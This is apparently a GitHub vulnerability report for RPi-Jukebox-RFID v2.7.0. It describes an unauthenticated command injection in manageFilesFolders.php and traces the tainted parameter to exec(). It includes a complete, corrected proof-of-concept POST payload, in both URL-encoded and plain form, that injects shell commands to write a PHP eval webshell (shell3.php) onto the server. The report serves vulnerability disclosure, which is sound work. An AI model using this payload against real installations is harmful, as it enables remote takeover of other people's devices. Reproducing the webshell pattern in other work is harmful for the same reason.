Open xjzzzxx opened 1 month ago
I'm sorry for the issue with the PoC I wrote earlier. I forgot to escape @, which resulted in the generated webshell being unusable. Here is the correct PoC:
POST /htdocs/manageFilesFolders.php
Data
ACTION=fileUpload&folder=2&folderNew=hello%22+%3b+echo+%22%3c%3fphp+%40eval(%5c%24_POST%5b%27shell3%27%5d)+%3f%3e%22++%3e+.%2fshell3.php++%3b+echo+%22hello
Here is Data without url encoding for ease of understanding:
ACTION=fileUpload&folder=2&folderNew=hello" ; echo "<?php @eval(\$_POST['shell3']) ?>" > ./shell3.php ; echo "hello
Manual verification
Version
v2.7.0
Branch
released
OS
ubuntu 22
Pi model
unknown
Hardware
No response
What happened?
Hello,
I would like to report for a RCE vulnerability in RPi-Jukebox-RFID-v2.7(No permissions required)
Analysis
The path of the vulnerability: htdocs\manageFilesFolders.php
Source from Line 97 (
$_POST['folder']
) and Line 110($post['folderNew']
).And then there is a check point(Line 90) ,which we should set
$_POST['folder'] = 2
to bypass.After bypass the check point, the source(tainted) pass to
$exec
andexec($exec);
(Line 115) without another check.Poc
POST /htdocs/manageFilesFolders.php
Data:
ACTION=fileUpload&folder=2&folderNew=hello%22+%3b+echo+%22%3c%3fphp+%40eval(%24_POST%5b%27pass%27%5d)+%3f%3e%22++%3e+.%2fshell3.php++%3b+echo+%22hello
Here is the version without url encoding for ease of understanding:
ACTION=fileUpload&folder=2&folderNew=hello" ; echo "<?php @eval($_POST['pass']) ?>" > ./shell3.php ; echo "hello
Manual verification
The attacker can then easily connect to this webshell(/htdocs/shell3.php)
Logs
No response
Configuration
No response
More info
No response